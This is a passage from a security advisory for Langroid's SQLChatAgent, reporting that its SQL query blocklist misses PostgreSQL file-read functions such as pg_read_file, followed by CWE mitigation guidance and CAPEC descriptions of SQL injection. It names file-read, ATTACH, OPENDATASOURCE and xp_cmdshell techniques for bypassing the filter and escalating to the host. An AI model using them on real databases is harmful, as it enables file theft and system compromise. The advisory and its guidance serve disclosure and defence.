to\nwhitespace, comments, and case games inside identifiers, at the cost of\nbroader per-dialect maintenance. For closing the immediate gap, Approach\n1 is sufficient.\n\nRegression-test the additions in\n`tests/main/sql_chat/test_sql_chat_security.py` alongside the existing\nsecurity tests. A natural 7-case extension covers the 5 PostgreSQL\nbypass payloads, the SQLite `ATTACH ... AS x` form, and the MSSQL\n`OPENDATASOURCE` form.\n\n### Fix PR\n\nA private temp-fork PR applying the **Suggested fix** Approach 1 diff,\nplus the regression tests described above, accompanies this advisory:\nhttps://github.com/langroid/langroid-ghsa-pmch-g965-grmr/pull/1\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-pmch-g965-grmr",
  "modified": "2026-07-02T17:42:09Z",
  "published": "2026-07-02T17:42:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langroid/langroid/security/advisories/GHSA-pmch-g965-grmr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langroid/langroid/commit/00b7dd7b79c5d03c94be284cf3459d98195ebfba"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langroid/langroid"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Langroid: SQLChatAgent _validate_query blocklist misses pg_read_file family enabling arbitrary file read"
}

Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

  • Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-28
Implementation

Strategy: Output Encoding

  • While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
  • Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
  • When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-109: Object Relational Mapping Injection

An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.

CAPEC-110: SQL Injection through SOAP Parameter Tampering

An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.

CAPEC-470: Expanding Control over the Operating System from the Database

An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.

CAPEC-66: SQL Injection

This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.

CAPEC-7: Blind SQL Injection

Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.